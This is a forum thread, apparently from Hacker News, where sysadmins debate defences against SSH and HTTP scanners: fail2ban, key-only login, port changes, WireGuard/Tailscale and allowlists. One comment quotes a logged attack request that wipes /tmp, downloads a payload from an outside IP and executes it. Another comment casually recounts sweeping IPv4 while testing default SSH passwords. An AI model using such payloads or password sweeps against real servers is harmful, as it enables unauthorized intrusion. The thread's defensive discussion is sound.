News for hackers. Stuff that matters.
Re:Who's Attacking My Server? by tptacek on Sunday March 13, 2022 @11:31AM (#30662085)
Fail2ban is theater on a properly configured server --- and, increasingly since the mid 2010's, you've had to go out of your way to have a badly configured SSH server. Either way, it's something you have to add specifically to your server, so if you're going to do that, use the same energy to just make sure your server is configured properly. Yeah, yeah, I know it "keeps your logs clean". So does grep, though.
Re:Who's Attacking My Server? by matja on Sunday March 13, 2022 @12:26PM (#30662773)
If fail2ban is theater, so is a firewall, so is SELinux, so are filesystem permissions (a properly configured process would only read/write the files it's supposed to, right?).

If an remote vuln needs some stack-smashing technique that has a low probability of success, fail2ban is going to to slow that down - perhaps in a way that makes it more obvious in logs, buying you time to discover your broken configuration or out of date software. Same way that a firewall buys you time to find that your database is listening on 0.0.0.0.

Re:Who's Attacking My Server? by rascul on Sunday March 13, 2022 @01:02PM (#30663223)
I believe the implication is that a properly configured server isn't going to allow passwords, and fail2ban isn't much more than a log size reducer when passwords aren't allowed.
Re:Who's Attacking My Server? by randomtwiddler on Sunday March 13, 2022 @11:43PM (#30668318)
I'm all about reducing the noise in log files.

I've had three production servers go down for various clients and the primary reason was full disk, primarily due to log files.

Re:Who's Attacking My Server? by alternatetwo on Monday March 14, 2022 @02:03PM (#30675758)
We've had a server go "down" due to log files too, but not because of size, but because of inodes. I think the samba server logged each incoming request into an empty text file with the IP. This eventually caused some problems, but we could still ssh in and delete the files ... but it's not fun to find out what even happened and to do that without autocomplete.
Re:Who's Attacking My Server? by tjoff on Monday March 14, 2022 @02:19AM (#30669071)
Nothing wrong with a decent password.
Re:Who's Attacking My Server? by sk5t on Sunday March 13, 2022 @12:31PM (#30662833)
> time to find that your database is listening on 0.0.0.0

I think that this would be the norm and desirable for databases serving clients other than the local host's. Plopping the database server onto a public network and allowing anyone at all to talk to it, on the other hand...

Re:Who's Attacking My Server? by vngzs on Sunday March 13, 2022 @12:27PM (#30662786)
Indeed. The author could have spent 15 minutes setting up Tailscale [0] and not expose any listening administration ports to the Internet at all. If they wanted to avoid using a hosted service, Wireguard alone is incredibly defensive against attackers who do not have access to the secret material. Tailscale basically just adds some NAT traversal [1] and OIDC login wrappers.

[0]: https://tailscale.com/

[1]: https://tailscale.com/blog/how-nat-traversal-works/

Re:Who's Attacking My Server? by chockchocschoir on Sunday March 13, 2022 @12:32PM (#30662847)
Before complicating the setup even more (by adding more software), I'd opt to make sure I configure the software I already have before going down that route. Removing password login + changing the port would already remove any attack surface and make most scans not finding it at all. And if I'd still be annoyed by the amount of log items at that point, I'd add MAC/IP filtering at the firewall level before getting to the point of adding something like Tailscale.

Unless I had multiple users who'd need to login of course, but then Tailscale suddenly become a paid product, and I'd probably add another instance as a bastion host at that point.

I guess my point is: Make sure the software you already have is configured the right way before adding more software on top.

Re:Who's Attacking My Server? by ratorx on Sunday March 13, 2022 @02:48PM (#30664472)
I’d say MAC/IP filtering is more annoying in the long term than Wireguard, since I’m not sure I could say that I will 100% never need to access the server unexpectedly from somewhere else.

But the ordering before that seem very reasonable. Although Wireguard is a soft alternative to changing default port, so it might be worth doing that.

On a slight tangent, I’ve never really bought into changing SSH port from default. I’d say the convenience of not having config/extra port specification is worth having it on a well known port, but that’s just my personal philosophy. I feel like for my low traffic things, just having strong SSH key and auto-updates is good enough.

Re:Who's Attacking My Server? by jweir on Monday March 14, 2022 @01:12AM (#30668735)
Changing the port cut the invalid auths from 1000s a day to 0. Why deal with and log that spam?
Re:Who's Attacking My Server? by ratorx on Monday March 14, 2022 @06:34PM (#30679387)
Depends, I don’t think the storage requirements for the spam is that high and I would rather just use grep than remember the nonstandard port I picked.

But I guess this is partly because I tend to look at logs a lot less than I SSH into my server.

Re:Who's Attacking My Server? by Topolomancer on Sunday March 13, 2022 @02:31PM (#30664299)
> I guess my point is: Make sure the software you already have is configured the right way before adding more software on top.

Couldn't agree more!

Re:Who's Attacking My Server? by lormayna on Monday March 14, 2022 @01:29AM (#30668821)
No need for any kind of MAC filtering: MAC is not propagated outside the L2 broadcast domain, so your server will see only the MAC of the default gateway (the router).
Re:Who's Attacking My Server? by tptacek on Sunday March 13, 2022 @03:35PM (#30664901)
What exactly are you trying to accomplish with MAC filtering?
Re:Who's Attacking My Server? by eptcyka on Sunday March 13, 2022 @07:19PM (#30666771)
Have you not heard of the immensely popular man-between-the-first-hop-attack where hackers physically attach another hop between your server and its gateway?
Re:Who's Attacking My Server? by tptacek on Sunday March 13, 2022 @08:41PM (#30667302)
Even in that joke scenario it doesn't make sense, since those attackers control the MAC layer already.
Re:Who's Attacking My Server? by c0balt on Monday March 14, 2022 @02:19AM (#30669069)
No, I've only encountered (wo)man-unplugging-the-first-hop. It leads to a lot of dropped packets and impacts all connected peers of the first hop.
Re:Who's Attacking My Server? by getcrunk on Monday March 14, 2022 @02:25AM (#30669095)
I'm guessing to auth client devices (i.e this is my laptops Mac address, allow this)
Re:Who's Attacking My Server? by Topolomancer on Sunday March 13, 2022 @12:50PM (#30663085)
Not sure I understand the point of Tailscale. The server should expose these ports to the internet...that's part of its purpose. Admittedly, I have never heard about Tailscale until now; it appears to solve a different kind of problem than the one I am interested in.
Re:Who's Attacking My Server? by kortilla on Sunday March 13, 2022 @03:25PM (#30664826)
You don’t add tailscale if you care about open source.
Re:Who's Attacking My Server? by 0xdeadb00f on Sunday March 13, 2022 @10:16PM (#30667849)
You can run your own self-hosted Tailscale control server with Headscale.
Re:Who's Attacking My Server? by bhch on Sunday March 13, 2022 @01:54PM (#30663865)
> Fail2ban is theater on a properly configured server

How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls?

I see a variety of weird requests made to my http server. A sample:

`GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1`

Fail2ban seems a decent solution for this. Unless, of course, there's a better solution perhaps?

Re:Who's Attacking My Server? by yabones on Sunday March 13, 2022 @03:29PM (#30664855)
I have a separate log file for the default vhost that's not parsed by log aggregation tools. Most scanners just hit your IP rather than an actual hostname (unless your site is very popular and well-known), so most spam ends up there. That keeps your actual log file much cleaner.

https://docbot.onetwoseven.one/services/nginx/#the-go-away-v...

Re:Who's Attacking My Server? by bhch on Tuesday March 15, 2022 @03:11AM (#30682471)
This is a neat little solution. Thanks. I'll set this up and test it out.
Re:Who's Attacking My Server? by tptacek on Sunday March 13, 2022 @01:55PM (#30663884)
You don't, because there's no point.
Re:Who's Attacking My Server? by criddell on Sunday March 13, 2022 @02:10PM (#30664085)
It does get rid of a lot of noise in your log files. Plus, it's foolish to assume ssh is bug free.
Re:Who's Attacking My Server? by tptacek on Sunday March 13, 2022 @02:16PM (#30664154)
There hasn't been a pre-auth remote vulnerability in stock OpenSSH since 2002. It is not for lack of looking. OpenSSH is one of the hardest targets on the Internet: I trust my kernel less.
Re:Who's Attacking My Server? by raggi on Sunday March 13, 2022 @02:18PM (#30664172)
I've been enough in the SSH code to be somewhat terrified by it. The main server loop has so many nested macro conditionals it's exceptionally difficult to read precisely.

That said, fail2ban had an RCE in the last year, so if we're considering trustworthy surfaces, I definitely agree and practice that I trust openssh a whole lot more than a lot of other software that may come up in the discussion.

Re:Who's Attacking My Server? by tptacek on Sunday March 13, 2022 @03:28PM (#30664849)
qmail has one of the most notoriously inscrutable codebases of all time, and it has a startlingly good track record, because there's a coherent security design behind it; the same --- to a greater extent! --- goes for OpenSSH.
Re:Who's Attacking My Server? by raggi on Sunday March 13, 2022 @03:52PM (#30665057)
There's a side of this that I agree with, however there's other sides.

The reason I've been in the code base a bunch is because I've taken on support of forks bootstrapped by others in various scenarios.

Design safety goes a fairly long way, but it's so easy to screw up patching code shaped this way. I might trust the core, but I don't trust external patches.

The problem in practice is, distros can't help themselves.

Re:Who's Attacking My Server? by tptacek on Sunday March 13, 2022 @06:50PM (#30666548)
I wouldn't trust external patches to OpenSSH either.
Re:Who's Attacking My Server? by Eduard on Sunday March 13, 2022 @07:34PM (#30666879)
Maybe qmail and SSH have their good track record because of security by inscrutability
Re:Who's Attacking My Server? by criddell on Sunday March 13, 2022 @04:38PM (#30665463)
Exactly. You are trusting that sshd, the OS, RAM controller and CPU are all bug free.
Re:Who's Attacking My Server? by clowd on Sunday March 13, 2022 @10:06PM (#30667790)
httpd is the one service I don't use fail2ban for, preferring a DIY solution instead.

I created an Apache config file with rewrite conditions to catch a bunch of "exploity" URI parts, abusive user-agent strings, referer spam targets, etc. This is loaded at the server level from httpd.conf, so I don't have to touch any vhosts and it's only parsed once when the service starts. Matching requests are rewritten to a script which drops the offender's IP and the ban reason into a file, and emits a terse "go away" message to the client. A separate daemonized process picks up those entries and adds them to an ipset in the firewall.

I went this route because fail2ban isn't always part of my deployment on a web server, but PHP is. Apache provides all of the matching capability to detect abuse from within itself, and the pair of PHP scripts are sufficient to act on those detections.

Re:Who's Attacking My Server? by klausagnoletti on Monday March 14, 2022 @04:01AM (#30669618)
You could also consider https://crowdsec.net/ - it's a pretty advanced framework for detecting malevolent traffic by using a combination of local rules and threat intelligence from other users. Apache is supported https://hub.crowdsec.net/author/crowdsecurity/collections/ap....
Re:Who's Attacking My Server? by waihtis on Sunday March 13, 2022 @04:19PM (#30665314)
This request tries to find a shell env on your application and pull a script from 209… onto your machine, not related to auth but rather a hijack attempt of your server. Nowadays likely tries to run a cryptominer
Re:Who's Attacking My Server? by klausagnoletti on Monday March 14, 2022 @03:58AM (#30669597)
Fail2ban is decent indeed. But consider https://crowdsec.net/ instead if you want a tool that can detect pretty advanced L7 attacks, mitigate bad traffic using captcha and use crowd sourced threat intelligence to block bad guys in advance
Re:Who's Attacking My Server? by jlgaddis on Monday March 14, 2022 @10:48AM (#30673081)
Except for your one comment 55 days ago, every other comment you've ever posted to HN has been (within about hour of each other, about six hours ago, and is) just spamming this bullshit.

(And that one other comment is a little shady as well.)

Give it up already.

Goodbye!

Re:Who's Attacking My Server? by lima on Sunday March 13, 2022 @04:56PM (#30665614)
It also adds extra attack surface[1] and operational risk (of locking yourself out - seen this happen more than once) for no tangible benefit.

[1]: like https://www.cve.org/CVERecord?id=CVE-2012-5642

Re:Who's Attacking My Server? by worewood on Sunday March 13, 2022 @04:49PM (#30665549)
Is theater on a properly configured server. On an improperly configured server it's the difference between compromised or not. And there tons of improperly cfg'd servers out there. One more layer in the security onion doesn't hurt
Re:Who's Attacking My Server? by ozim on Sunday March 13, 2022 @05:00PM (#30665645)
Unless there is RCE in Fail2Ban like CVE-2021-32749 which makes it actually worse.

Instead of lowering your attack surface you increase it by adding stuff.

Re:Who's Attacking My Server? by cm2187 on Sunday March 13, 2022 @11:50AM (#30662332)
The problem is that you are also at the mercy of passwords selected by your users for smtp, imap, etc. So you still need some defence against brute force.

For administrative protocols (ssh, rdp, etc), I am a firm believer in IP whitelists, which give you the additional peace of mine of protecting you against future zero days, unless they affect the firewall.

Re:Who's Attacking My Server? by fabian2k on Sunday March 13, 2022 @11:55AM (#30662395)
For SSH simply disallowing passwords entirely removes this problem. For me that's the one single thing that dramatically improves defense against any kind of brute force or untargeted attack.
Re:Who's Attacking My Server? by zinekeller on Sunday March 13, 2022 @12:06PM (#30662527)
I'm actually shocked that you're the first one to mention it. Only use public key logins and if you're not targeted and if it's practical in your workflow change the port (definitely not for security, only so that sshd won't eat as much CPU time from bruteforce attempts).
Re:Who's Attacking My Server? by cube00 on Sunday March 13, 2022 @12:09PM (#30662570)
Just make sure you don't use a port any higher then 1024 or else a non root process can start up and take its place if the real one crashes.
Re:Who's Attacking My Server? by arc-in-space on Sunday March 13, 2022 @04:14PM (#30665270)
Oh, good to know, I will ignore this advice and excitedly await for this to happen to me
Re:Who's Attacking My Server? by Topolomancer on Sunday March 13, 2022 @12:47PM (#30663034)
That's an excellent point. I painted myself into a corner here because I am letting some of my friends use the server as well. Have to gently transition them to public key usage only now.
Re:Who's Attacking My Server? by namibj on Sunday March 13, 2022 @11:04PM (#30668113)
Give them a reasonable deadline, and just disable password login afterwards.

This isn't something they should have trouble understanding/accepting.

Re:Who's Attacking My Server? by bombcar on Sunday March 13, 2022 @03:03PM (#30664628)
You can restrict password auth to particular users/groups, which also greatly reduces the attack vector.
Re:Who's Attacking My Server? by Filligree on Sunday March 13, 2022 @08:40PM (#30667297)
Or require OTP for password authentication.
Re:Who's Attacking My Server? by lima on Sunday March 13, 2022 @05:00PM (#30665649)
Nowadays, if you accept plain user-chosen passwords on SMTP or IMAP, you're already in trouble anyway. Often, the attacker doesn't even have to guess because your users likely re-used the same password across different services...
Re:Who's Attacking My Server? by Topolomancer on Sunday March 13, 2022 @11:37AM (#30662177)
Thanks, I was unaware of this---I initially (naively?) thought that being banned would at least deter some wannabe attackers. In your experience, does it do anything if I start collecting some reports on repeat offenders and notify their ISP? Or is that just more wishful thinking of my part?
Re:Who's Attacking My Server? by tptacek on Sunday March 13, 2022 @11:40AM (#30662206)
Absolutely nothing will be done about reports of people running SSH scanners against your host; it would be like Cnut on his seashore throne ruling the waves to recede: even in the unlikely event that a hosting provider shut someone off (we probably would, if you told us), they'd be followed by 10,000 more.
Re:Who's Attacking My Server? by Topolomancer on Sunday March 13, 2022 @11:44AM (#30662258)
Thanks for the reality check, I appreciate it! At least I got a nice map out of this (and made sure that nothing was configured incorrectly, to the best of my knowledge)...
Re:Who's Attacking My Server? by bombcar on Sunday March 13, 2022 @11:52AM (#30662364)
You can get a similar reduction in ssh scans simply by moving the port (and doing nothing else) as the majority of scans only hit port 22.

Whether this is worth the hassle is left to the reader: if you have passwords disabled and only use keys it really shouldn’t matter.

Re:Who's Attacking My Server? by creeble on Sunday March 13, 2022 @06:18PM (#30666305)
In my experience, they find it anyway.

I've run ssh on non-standard ports for over 20 years, and my auth.log is gets a hundred knocks an hour - and mind you, they all return "no key".

It's just life, and it will continue to get worse. Secure your server and ignore it.

Re:Who's Attacking My Server? by pvg on Sunday March 13, 2022 @03:50PM (#30665038)
ruling the waves

This aggression will not stand

Re:Who's Attacking My Server? by ufmace on Sunday March 13, 2022 @03:17PM (#30664740)
I don't think this idea is aligned with how these types of attacks actually work. The dumb stuff like this is almost entirely automated, nobody will notice enough to be deterred by it. Possibly whoever is running it will get a list of servers where the bruteforce login attempts worked, or maybe they just get some kind of low-effort thing like cryptominer or spam server installed automatically.

If an actual person of at least modest skill takes an interest in your server in particular, they're probably not going to do the sorts of things that would trigger fail2ban anyways. They're going to do things like probe around as lightly as possible to determine which services and which versions are running where to try and find things that are misconfigured or at known-vulnerable versions.

Re:Who's Attacking My Server? by cube00 on Sunday March 13, 2022 @12:14PM (#30662620)
As an individual your reports will likely be ignored, however if you do want to report consider contributing to a service like AbuseIPDB. It probably doesn't do much either but at least it feels like I'm doing my part to report abuse and maybe some ISPs will choose to act on it.
Re:Who's Attacking My Server? by klausagnoletti on Monday March 14, 2022 @04:09AM (#30669657)
That's one of many reason why https://crowdsec.net/ was created. It collects (anonymized) threat intelligence from all users, vets it and distributes it as relevant blocklists. Once there's enough users it will be a very effective way to fight bad guys. And unlike your suggestion it DOES make a difference. Currently around 800k signals are collected daily and around 19k vetted malevolent ips are distributed to users on a daily basis.
Re:Who's Attacking My Server? by taf2 on Sunday March 13, 2022 @12:19PM (#30662673)
You should just not allow any IP to access your server to begin with… have a list of trusted IPs - this and only allow public / private key access with a second factor device and I think you should be good…
Re:Who's Attacking My Server? by 71a54xd on Sunday March 13, 2022 @12:23PM (#30662725)
I like to be able to maintain contact with my servers outside of a few specific ip's - I've locked myself out far too many times when I whitelist a very small number.

Anyone have a better workaround for this?

Re:Who's Attacking My Server? by raggi on Sunday March 13, 2022 @02:26PM (#30664252)
Stop using fail2ban/tallow/etc, and follow a sensible guide like https://infosec.mozilla.org/guidelines/openssh to harden your ssh configuration. This will result in about half the attempts failing at protocol negotiation, long before auth (though that ratio is decreasing over time).

Wireguard is also very strong here, as it learned from this kind of problem in SSH and does not reply at all unless authentication succeeds. This makes debugging harder, but also makes leaving it openly listening quite a bit safer, as the protocol surface in pre-auth is absolutely minimal.

Re:Who's Attacking My Server? by stock_toaster on Sunday March 13, 2022 @02:14PM (#30664132)
Maybe use spiped[1] if you are worried about ssh security?

[1]: https://www.tarsnap.com/spiped.html

Re:Who's Attacking My Server? by randomtwiddler on Monday March 14, 2022 @12:21AM (#30668494)
I tried it.

I found it harder to use. I even wrote tests for my use cases and what I learned was a real appreciation of what ssh does, is, and provides and I went the other way and use it in more places than I did before.

Re:Who's Attacking My Server? by whartung on Sunday March 13, 2022 @12:31PM (#30662830)
Perhaps a port knock.

I don't know the mechanics, but a port knock is hitting pre-defined ports in a pre-defined order. When you "shave and a haircut" the ports properly, the server opens something up. In this case white listing (gray listing?) the IP that the knock came from.

You could add a layers to it to make it more complicated.

Re:Who's Attacking My Server? by tptacek on Sunday March 13, 2022 @01:56PM (#30663900)
Please don't use silly stuff like port knocking. Your SSH server already does a cryptographically sound authentication step. "Port knocking" is even more performative than fail2ban.
Re:Who's Attacking My Server? by ficklepickle on Sunday March 13, 2022 @04:24PM (#30665360)
I VPN into my home network as a bastion host, so I'm always connecting from the same IP.

I'm using the cloud providers IP filtering to block everything but my IP on port 22. If something goes horribly wrong, I can disable it thru their web interface.

Re:Who's Attacking My Server? by PeterisP on Sunday March 13, 2022 @12:38PM (#30662931)
IMHO there's no need to worry (but you should disable password access), but if you really want to, port knocking is an option.
Re:Who's Attacking My Server? by jcynix on Sunday March 13, 2022 @02:49PM (#30664479)
During holiday trips, where I might need to access a server from anywhere, I use a list of one time passwords (more or less just a bunch of md5sums) which I can send to a server on https, which then adds the requesting ip address to /etc/hosts.allow for a limited time. This ip address will be able to connect via ssh (still secured with a key) then for that time.
Re:Who's Attacking My Server? by 71a54xd on Sunday March 13, 2022 @11:43PM (#30668320)
This is a really cool idea! I've also toyed with a similar approach of watching ssh logs within very specific time windows and providing a one time key in order to temporarily add another SSH key which I can use to recover the server.

Probably a bit overkill - but it was a fun feature to implement with Go over the weekend. The new Fido2 SSH implementation is also incredibly cool.

Re:Who's Attacking My Server? by NavinF on Sunday March 13, 2022 @11:55AM (#30662389)
Eh I’ve scanned the entire IPv4 space and tested default passwords over ssh from both AWS and my Comcast connection at home and never got banned from either one. I’m sure it can happen, but it’s no big deal.

The GP is right: If you use ed25519 keys, looking at logs and playing whack a mole with countries is just security theater for people who are new to the internet and get scared when their MOTD says “500 failed logins”.

Re:Who's Attacking My Server? by arjvik on Sunday March 13, 2022 @12:12PM (#30662602)
How long did scanning the entire IPv4 space take?
Re:Who's Attacking My Server? by chockchocschoir on Sunday March 13, 2022 @12:42PM (#30662978)
masscan with the right setup (namely hardware + drivers but also connection obviously) can scan the entire IPv4 space (+ all ports) in ~5 minutes.

Source Code: https://github.com/robertdavidgraham/masscan

Article from PoC || GTFO with more internal details on how it works: https://www.alchemistowl.org/pocorgtfo/pocorgtfo15.pdf (Page 66) [Note: PDF is both a valid PDF + valid ZIP file with source code]

Re:Who's Attacking My Server? by kkirsche on Sunday March 13, 2022 @12:22PM (#30662704)
That depends on the machine you are using. Tools like mass scan to locate open ssh ports and then testing them doesn’t need to take long if you have a beefy machine and pipe to the internet.
Re:Who's Attacking My Server? by NavinF on Sunday March 13, 2022 @12:21PM (#30662696)
~4 hours on a 1G port, IIRC

I’m sure you could do it a lot faster with a better CPU and 20% commit on a 10G port

Re:Who's Attacking My Server? by plufz on Sunday March 13, 2022 @02:07PM (#30664038)
hmm I reason sooner or later a scanner will find an xss/sql exploit/whatever? why give scanners free access to search endlessly for possible exploits when you can fail2ban? all servers have possible exploits if they expose a medium complex service. (if ssh is all you expose and you only allow keys, fine!)
Re:Who's Attacking My Server? by anderspitman on Sunday March 13, 2022 @02:44PM (#30664435)
I'm curious, is it common for scanners to look for vulnerabilities in bespoke servers, or do they usually look for known vulnerabilities in specific versions of popular servers like WordPress, Apache, etc?
Re:Who's Attacking My Server? by plufz on Sunday March 13, 2022 @04:03PM (#30665168)
My experience is a mix of both. Lots of looking for wordpress, phpmyadmin, etc but also scraping my own GET-parameters and FORMs looking for sql exploits etc.
Re:Who's Attacking My Server? by bombcar on Sunday March 13, 2022 @03:02PM (#30664610)
They’re almost always looking for known vulnerabilities dumbly - you’ll see one IP try fifteen-fifty different URL based attacks.
Re:Who's Attacking My Server? by Spooky23 on Sunday March 13, 2022 @12:26PM (#30662768)
I think a better solution now is something like Tailscale for anything administrative. I’ve been doing this for Minecraft servers for a year or two, and it eliminates a ton of BS.
Re:Who's Attacking My Server? by pengaru on Sunday March 13, 2022 @12:40PM (#30662946)
> I think a better solution now is something like Tailscale for anything administrative. I’ve been doing this for Minecraft servers for a year or two, and it eliminates a ton of BS.

All I'm hearing is that Tailscale is becoming an increasingly attractive bastion host to compromise, then use as a jump server to access heaps of poorly configured customer machines.

Re:Who's Attacking My Server? by anderspitman on Sunday March 13, 2022 @04:23PM (#30665351)
It's the classic VPN vs BeyondCorps debate. Tailscale is awesome tech but since my focus is on sharing self-hosted services with others BeyondCorps makes more sense for me.
Re:Who's Attacking My Server? by fomine3 on Sunday March 13, 2022 @09:21PM (#30667515)
I believe Tailscale is basically intended to be installed in every machine that want to be connected (no subnet routing, like BeyondCorps). They also have subnet routing for convenience and to support non installable devices.
Re:Who's Attacking My Server? by willstrafach on Wednesday March 16, 2022 @12:31AM (#30695336)
How would that work? Connections are mainly peer-to-peer with Tailscale. An attack (I suppose pushing new key pairs to specific peers and pointing them through a malicious endpoint?) would likely require a very noisy and detectable process.